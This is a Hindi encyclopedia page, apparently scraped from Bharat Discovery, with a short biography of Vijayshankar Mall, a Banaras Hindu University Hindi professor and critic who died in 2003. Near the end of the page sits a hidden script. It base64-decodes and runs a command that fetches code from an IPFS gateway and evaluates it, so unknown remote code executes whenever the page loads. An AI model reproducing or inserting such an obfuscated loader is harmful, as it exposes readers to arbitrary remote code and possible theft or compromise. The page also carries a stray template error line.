एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

विजयशंकर मल्ल  

विजयशंकर मल्ल का जन्म उत्तर प्रदेश में आजमगढ़ के लखनौर नामक ग्राम में हुआ था। वह बनारस हिन्दू विश्वविद्यालय में हिन्दी विभाग के प्रोफ़ेसर, काव्य समीक्षक एवं अत्यंत सफल अध्यापक रहे थे।[१]

  • आचार्य केशव प्रसाद मिश्र एवं आचार्य नन्द दुलारे वाजपेयी के प्रिय शिष्यों में विजयशंकर मल्ल भी थे।
  • विजयशंकर मल्ल ने भारतेन्दु काल के गद्य को "हंसमुख गद्य" की संज्ञा दी थी।
  • इन्होंने पहली समीक्षात्मक पुस्तक हिन्दी में 'प्रगतिवाद' नाम से लिखी।
  • 31 अगस्त, 2003 को विजयशंकर मल्ल का निधन हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 22 जनवरी, 2014।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=विजयशंकर_मल्ल&oldid=664521" से लिया गया